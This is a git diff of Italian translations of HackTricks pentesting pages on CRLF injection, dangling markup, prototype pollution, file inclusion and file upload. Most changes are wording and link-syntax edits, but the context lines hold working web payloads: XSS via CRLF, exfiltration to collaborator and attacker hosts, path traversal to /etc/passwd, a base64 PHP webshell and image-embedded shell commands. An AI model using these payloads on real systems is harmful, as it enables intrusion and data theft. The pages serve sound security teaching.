3. Un attaccante crea un URL con un 'user_input' appositamente creato: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- In questo URL, `%0d%0a%0d%0a` è la forma codificata in URL di CRLFCRLF. Inganna il server facendogli inserire una sequenza CRLF, costringendo il server a trattare la parte successiva come il corpo della risposta.
4. Il server riflette l'input dell'attaccante nell'intestazione di risposta, portando a una struttura di risposta non intenzionata in cui lo script malevolo viene interpretato dal browser come parte del corpo della risposta.
@ -72,7 +70,9 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
```
Controlla altri esempi in:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
{{#ref}}
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
{{#endref}}
### Iniezione di Header HTTP
@ -109,11 +109,11 @@ array(
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### Iniezione di Header per il Request Smuggling
### Header Injection to Request Smuggling
Per ulteriori informazioni su questa tecnica e sui potenziali problemi [**controlla la fonte originale**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
Puoi iniettare header essenziali per garantire che il **back-end mantenga la connessione aperta** dopo aver risposto alla richiesta iniziale:
Puoi iniettare intestazioni essenziali per garantire che il **back-end mantenga la connessione aperta** dopo aver risposto alla richiesta iniziale:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
@ -129,7 +129,7 @@ Dopo, può essere specificata una seconda richiesta. Questo scenario coinvolge t
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### Iniezione di Memcache
### Iniezione Memcache
Memcache è un **key-value store che utilizza un protocollo in chiaro**. Maggiori informazioni in:
@ -153,9 +153,9 @@ Inoltre, i ricercatori hanno anche scoperto che potevano desincronizzare le risp
Per mitigare i rischi di iniezioni CRLF (Carriage Return e Line Feed) o HTTP Header nelle applicazioni web, si raccomandano le seguenti strategie:
1. **Evitare l'Input Diretto dell'Utente negli Header di Risposta:** L'approccio più sicuro è astenersi dall'incorporare input forniti dall'utente direttamente negli header di risposta.
2. **Codificare i Caratteri Speciali:** Se evitare l'input diretto dell'utente non è fattibile, assicurati di utilizzare una funzione dedicata alla codifica di caratteri speciali come CR (Carriage Return) e LF (Line Feed). Questa pratica previene la possibilità di iniezione CRLF.
3. **Aggiornare il Linguaggio di Programmazione:** Aggiorna regolarmente il linguaggio di programmazione utilizzato nelle tue applicazioni web all'ultima versione. Scegli una versione che non consenta intrinsecamente l'iniezione di caratteri CR e LF all'interno delle funzioni incaricate di impostare gli header HTTP.
1. **Evitare l'Input Diretto dell'Utente negli Intestazioni di Risposta:** L'approccio più sicuro è astenersi dall'incorporare input fornito dall'utente direttamente nelle intestazioni di risposta.
2. **Codificare i Caratteri Speciali:** Se evitare l'input diretto dell'utente non è fattibile, assicurati di utilizzare una funzione dedicata alla codifica dei caratteri speciali come CR (Carriage Return) e LF (Line Feed). Questa pratica previene la possibilità di iniezione CRLF.
3. **Aggiornare il Linguaggio di Programmazione:** Aggiorna regolarmente il linguaggio di programmazione utilizzato nelle tue applicazioni web all'ultima versione. Scegli una versione che di per sé non consenta l'iniezione di caratteri CR e LF all'interno delle funzioni incaricate di impostare le intestazioni HTTP.
### CHEATSHEET
@ -197,6 +197,4 @@ Per mitigare i rischi di iniezioni CRLF (Carriage Return e Line Feed) o HTTP Hea
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
{{#include ../banners/hacktricks-training.md}}

12
src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
View File

@ -32,7 +32,7 @@ Puoi anche usare **`<table`**:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Puoi anche inserire un `<base` tag. Tutte le informazioni verranno inviate fino a quando la citazione non sarà chiusa, ma richiede un'interazione da parte dell'utente (l'utente deve cliccare su un link, perché il tag base avrà cambiato il dominio indicato dal link):
Puoi anche inserire un `<base` tag. Tutte le informazioni verranno inviate fino a quando la citazione non sarà chiusa, ma richiede un'interazione da parte dell'utente (l'utente deve cliccare su un link, perché il tag base avrà cambiato il dominio puntato dal link):
```html
<base target=' <--- Injected
steal me'<b>test</b>
@ -61,11 +61,11 @@ Trova un [**esempio di questo attacco in questo documento**](https://portswigger
### Rubare segreti in chiaro 2
Utilizzando la tecnica menzionata in precedenza per rubare i moduli (iniettando un nuovo header del modulo) puoi quindi iniettare un nuovo campo di input:
Utilizzando la tecnica menzionata più recentemente per rubare i moduli (iniettando un nuovo header del modulo) puoi quindi iniettare un nuovo campo di input:
```html
<input type='hidden' name='review_body' value="
```
e questo campo di input conterrà tutto il contenuto tra le sue virgolette e la prossima virgoletta nel HTML. Questo attacco mescola "_**Stealing clear text secrets**_" con "_**Stealing forms2**_".
e questo campo di input conterrà tutto il contenuto tra le sue virgolette e la successiva virgoletta nel HTML. Questo attacco mescola "_**Rubare segreti in chiaro**_" con "_**Rubare forms2**_".
Puoi fare la stessa cosa iniettando un modulo e un `<option>` tag. Tutti i dati fino a quando non viene trovato un `</option>` chiuso verranno inviati:
```html
@ -109,7 +109,7 @@ if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Flusso di lavoro ingannevole 1 - attacco allo spazio dei nomi HTML
### Flusso di script fuorviante 1 - attacco allo spazio dei nomi HTML
Inserisci un nuovo tag con un id all'interno dell'HTML che sovrascriverà il successivo e con un valore che influenzerà il flusso di uno script. In questo esempio stai selezionando con chi verrà condivisa un'informazione:
```html
@ -213,7 +213,9 @@ XS-Search è orientato a **esfiltrare informazioni cross-origin** abusando di **
## Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}
## References

12
src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
View File

@ -43,9 +43,9 @@ Nella programmazione basata su prototipi, le proprietà/metodi sono ereditati da
Va notato che quando una proprietà viene aggiunta a un oggetto che funge da prototipo per altri oggetti (come `myPersonObj`), gli oggetti ereditanti ottengono accesso a questa nuova proprietà. Tuttavia, questa proprietà non viene visualizzata automaticamente a meno che non venga esplicitamente invocata.
## \_\_proto\_\_ inquinamento <a href="#id-0d0a" id="id-0d0a"></a>
## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>
## Esplorare l'inquinamento del prototipo in JavaScript
## Esplorare la Pollution del Prototipo in JavaScript
Gli oggetti JavaScript sono definiti da coppie chiave-valore e ereditano dal prototipo dell'oggetto JavaScript. Ciò significa che alterare il prototipo dell'oggetto può influenzare tutti gli oggetti nell'ambiente.
@ -218,7 +218,7 @@ client-side-prototype-pollution.md
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
```
Questa vulnerabilità, identificata come CVE-2019–11358, illustra come una copia profonda possa modificare involontariamente il prototipo, portando a potenziali rischi per la sicurezza, come l'accesso non autorizzato da amministratore se proprietà come `isAdmin` vengono controllate senza una corretta verifica di esistenza.
Questa vulnerabilità, identificata come CVE-2019–11358, illustra come una copia profonda possa modificare involontariamente il prototipo, portando a potenziali rischi per la sicurezza, come l'accesso non autorizzato come admin se proprietà come `isAdmin` vengono controllate senza una corretta verifica di esistenza.
### CVE-2018–3721, CVE-2019–10744: attacco di inquinamento del prototipo tramite lodash
@ -228,12 +228,14 @@ Questa vulnerabilità, identificata come CVE-2019–11358, illustra come una cop
### Un altro tutorial con CVE
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
{{#ref}}
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
{{#endref}}
### Strumenti per rilevare l'inquinamento del prototipo
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): estensione di Burp Suite progettata per rilevare e analizzare vulnerabilità di inquinamento del prototipo lato server nelle applicazioni web. Questo strumento automatizza il processo di scansione delle richieste per identificare potenziali problemi di inquinamento del prototipo. Sfrutta gadget noti - metodi per sfruttare l'inquinamento del prototipo per eseguire azioni dannose - concentrandosi in particolare sulle librerie Node.js.
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Questa estensione identifica vulnerabilità di inquinamento del prototipo lato server. Utilizza tecniche descritte nell'[inquinamento del prototipo lato server](https://portswigger.net/research/server-side-prototype-pollution).
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Questa estensione identifica vulnerabilità di inquinamento del prototipo lato server. Utilizza tecniche descritte nel [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution).
### Inquinamento del prototipo AST in NodeJS

48
src/pentesting-web/file-inclusion/README.md
View File

@ -21,23 +21,27 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
**Mescolando diverse liste LFI \*nix e aggiungendo più percorsi, ho creato questa:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Prova anche a cambiare `/` con `\`\
Prova anche ad aggiungere `../../../../../`
Una lista che utilizza diverse tecniche per trovare il file /etc/password (per controllare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Una lista che utilizza diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Unione di diverse liste di parole:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Prova anche a cambiare `/` con `\`\
Prova anche a rimuovere `C:/` e aggiungere `../../../../../`
Una lista che utilizza diverse tecniche per trovare il file /boot.ini (per controllare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Una lista che utilizza diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
@ -80,7 +84,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Esplorare le Directory del File System su un Server
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando determinate tecniche. Questo processo implica la determinazione della profondità della directory e la verifica dell'esistenza di specifiche cartelle. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando determinate tecniche. Questo processo implica determinare la profondità della directory e sondare l'esistenza di specifiche cartelle. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
1. **Determinare la Profondità della Directory:** Accertare la profondità della tua directory attuale recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
```bash
@ -121,7 +125,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
In questi scenari, il numero di traversate necessarie potrebbe essere intorno a 2027, ma questo numero può variare in base alla configurazione del server.
- **Utilizzo di Segmenti di Punto e Caratteri Aggiuntivi**: Le sequenze di traversamento (`../`) combinate con segmenti di punto extra e caratteri possono essere utilizzate per navigare nel file system, ignorando efficacemente le stringhe aggiunte dal server.
- **Utilizzo di Segmenti di Punto e Caratteri Aggiuntivi**: Le sequenze di traversamento (`../`) combinate con segmenti di punto e caratteri extra possono essere utilizzate per navigare nel file system, ignorando efficacemente le stringhe aggiunte dal server.
- **Determinare il Numero Richiesto di Traversate**: Attraverso tentativi ed errori, si può trovare il numero preciso di sequenze `../` necessarie per navigare fino alla directory radice e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
- **Iniziare con una Directory Fittizia**: È una pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene utilizzata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server.
@ -144,7 +148,7 @@ In php questo è disabilitato per impostazione predefinita perché **`allow_url_
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo data con base64 per decodificare un codice PHP b64 e ottenere RCE:
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo data con base64 per decodificare un codice PHP in b64 e ottenere RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
@ -222,13 +226,13 @@ I filtri PHP consentono di eseguire **operazioni di modifica di base sui dati**
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate, esegui nel terminale: `iconv -l`
- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate eseguire nel console: `iconv -l`
> [!WARNING]
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per fare una funzione come includere testo arbitrario. Per ulteriori informazioni, controlla [**LFI2RCE tramite filtri php**](lfi2rce-via-php-filters.md).
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per rendere una funzione come include processo testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Filtri di Compressione](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltra una grande quantità di informazioni)
- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltrano molte informazioni)
- `zlib.inflate`: Decomprime i dati
- [Filtri di Crittografia](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Obsoleto
@ -236,7 +240,7 @@ I filtri PHP consentono di eseguire **operazioni di modifica di base sui dati**
- Altri Filtri
- Eseguendo in php `var_dump(stream_get_filters());` puoi trovare un paio di **filtri inaspettati**:
- `consumed`
- `dechunk`: inverte la codifica HTTP chunked
- `dechunk`: inverte la codifica chunked HTTP
- `convert.*`
```php
# String Filters
@ -280,8 +284,8 @@ Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma ec
- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, ad esempio, perché se applichiamo 6 di questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non l'ha eliminata e l'errore php viene attivato perché si moltiplica con la bomba iniziale.
- Utilizzando altre trasformazioni come **rot13** all'inizio è possibile esfiltrare altri caratteri come n, o, p, q, r (e altri codec possono essere utilizzati per spostare altre lettere nell'intervallo esadecimale).
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e esfiltrare le prime 2 lettere per esfiltrare il numero.
- Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di memoria ordinata come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere in prima posizione altre lettere del testo.
- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivottare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a farlo fino a raggiungere il bit desiderato da esfiltrare.
- Il problema finale è vedere **come esfiltrare più della lettera iniziale**. Utilizzando filtri di memoria ordinati come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei caratteri e ottenere in prima posizione altre lettere del testo.
- E per poter ottenere **ulteriori dati** l'idea è di **generare 2 byte di dati spazzatura all'inizio** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farlo **pivotare con i successivi 2 byte**, e **eliminare i dati fino ai dati spazzatura** (questo rimuoverà i primi 2 byte del testo iniziale). Continuare a farlo fino a raggiungere il bit desiderato da esfiltrare.
Nel post è stata anche esfiltrata una tool per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -354,7 +358,7 @@ php --define phar.readonly=0 create_path.php
```
Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per sfruttare le vulnerabilità di Local File Inclusion (LFI).
Nei casi in cui l'LFI esegue solo la lettura dei file senza eseguire il codice PHP al loro interno, attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, potrebbe essere tentato lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file utilizzando il protocollo `phar`.
Nei casi in cui l'LFI esegue solo la lettura dei file senza eseguire il codice PHP al suo interno, attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, potrebbe essere tentato lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file utilizzando il protocollo `phar`.
Per una comprensione dettagliata dello sfruttamento delle vulnerabilità di deserializzazione nel contesto dei file `.phar`, fare riferimento al documento collegato qui sotto:
@ -372,7 +376,7 @@ Riepilogo molto rapido: un **overflow di 3 byte** nell'heap di PHP è stato abus
### More protocols
Controlla più possibili [**protocollo da includere qui**](https://www.php.net/manual/en/wrappers.php)**:**
Controlla altri possibili [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrivi in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un attacco di inclusione di file)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
@ -383,7 +387,7 @@ Controlla più possibili [**protocollo da includere qui**](https://www.php.net/m
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flussi audio (non utile per leggere file arbitrari)
## LFI tramite 'assert' di PHP
## LFI via PHP's 'assert'
I rischi di Local File Inclusion (LFI) in PHP sono notevolmente elevati quando si tratta della funzione 'assert', che può eseguire codice all'interno delle stringhe. Questo è particolarmente problematico se l'input contenente caratteri di traversamento delle directory come ".." viene controllato ma non correttamente sanificato.
@ -399,7 +403,7 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
```plaintext
' and die(system("id")) or '
```
È importante **URL-encode questi payload**.
È importante **URL-encoded questi payload**.
## PHP Blind Path Traversal
@ -549,7 +553,7 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
Se hai trovato un **Local File Inclusion** e il server è in esecuzione in **Windows** potresti ottenere RCE:
Se hai trovato un **Local File Inclusion** e il server è in esecuzione su **Windows** potresti ottenere RCE:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -557,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
Come [**spiegato in questo post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), lo script `/usr/local/lib/phppearcmd.php` esiste per impostazione predefinita nelle immagini docker di php. Inoltre, è possibile passare argomenti allo script tramite l'URL perché è indicato che se un parametro URL non ha un `=`, dovrebbe essere usato come argomento.
Come [**spiegato in questo post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), lo script `/usr/local/lib/phppearcmd.php` esiste per impostazione predefinita nelle immagini docker php. Inoltre, è possibile passare argomenti allo script tramite l'URL perché è indicato che se un parametro URL non ha un `=`, dovrebbe essere usato come argomento.
La seguente richiesta crea un file in `/tmp/hello.php` con il contenuto `<?=phpinfo()?>`:
```bash
@ -580,7 +584,7 @@ lfi2rce-via-phpinfo.md
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Se hai trovato un **Local File Inclusion** e **puoi esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha segni PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**:
Se hai trovato un **Local File Inclusion** e **puoi esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha marcatori PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@ -588,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Via eternal waiting + bruteforce
Se puoi abusare del LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione di PHP, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
Se puoi abusare del LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione di PHP sul server, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
{{#ref}}
lfi2rce-via-eternal-waiting.md
@ -599,7 +603,7 @@ lfi2rce-via-eternal-waiting.md
Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso due volte per generare quell'errore).
**Non so quanto sia utile, ma potrebbe esserlo.**\
&#xNAN;_&#x45; anche se causate un errore fatale di PHP, i file temporanei caricati vengono eliminati._
&#xNAN;_&#x45; anche se causi un errore fatale di PHP, i file temporanei caricati vengono eliminati._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

12
src/pentesting-web/file-inclusion/phar-deserialization.md
View File

@ -2,9 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
**I file** Phar (PHP Archive) **contengono metadati in formato serializzato**, quindi, quando vengono analizzati, questi **metadati** vengono **deserializzati** e puoi provare ad abusare di una vulnerabilità di **deserializzazione** all'interno del codice **PHP**.
I file **Phar** (PHP Archive) **contengono metadati in formato serializzato**, quindi, quando vengono analizzati, questi **metadati** vengono **deserializzati** e puoi provare ad abusare di una vulnerabilità di **deserializzazione** all'interno del codice **PHP**.
La cosa migliore di questa caratteristica è che questa deserializzazione avverrà anche utilizzando funzioni PHP che non eseguono codice PHP come **file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**.
@ -50,7 +48,7 @@ $object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
Nota come i **byte magici di JPG** (`\xff\xd8\xff`) sono aggiunti all'inizio del file phar per **bypassare** le **possibili** restrizioni sui **caricamenti** di file.\
Nota come i **byte magici di JPG** (`\xff\xd8\xff`) siano aggiunti all'inizio del file phar per **bypassare** le **possibili** restrizioni sui **caricamenti** di file.\
**Compila** il file `test.phar` con:
```bash
php --define phar.readonly=0 create_phar.php
@ -61,8 +59,8 @@ php vuln.php
```
### Riferimenti
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
{{#ref}}
https://blog.ripstech.com/2018/new-php-exploitation-technique/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

26
src/pentesting-web/file-upload/README.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## File Upload General Methodology
Altre estensioni utili:
@ -44,7 +43,7 @@ Altre estensioni utili:
5. Aggiungi **un altro livello di estensioni** al controllo precedente:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione **_**.php**_**, ma** non necessariamente che termina in .php** eseguirà codice):
6. Prova a mettere l'**estensione di esecuzione prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione **_**.php**_**, ma** non necessariamente che termina in .php** eseguirà codice):
- _es: file.php.png_
7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il pattern “**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
8. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
@ -62,17 +61,17 @@ AAA<--SNIP 232 A-->AAA.php.png
### Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass **Content-Type** controlli impostando il **valore** dell'**intestazione Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
- Bypass **Content-Type** controlli impostando il **valore** dell'**intestazione Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** controllando aggiungendo all'inizio del file i **byte di una vera immagine** (confondere il comando _file_). Oppure introduci la shell all'interno dei **metadati**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` oppure potresti anche **introdurre il payload direttamente** in un'immagine:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Se **la compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi utilizzare il **PLTE chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
- Se **la compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi utilizzare la **tecnica del chunk PLTE** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi utilizzare il **IDAT chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi utilizzare la **tecnica del chunk IDAT** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi utilizzare il **tEXt chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi utilizzare la **tecnica del chunk tEXt** [**definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
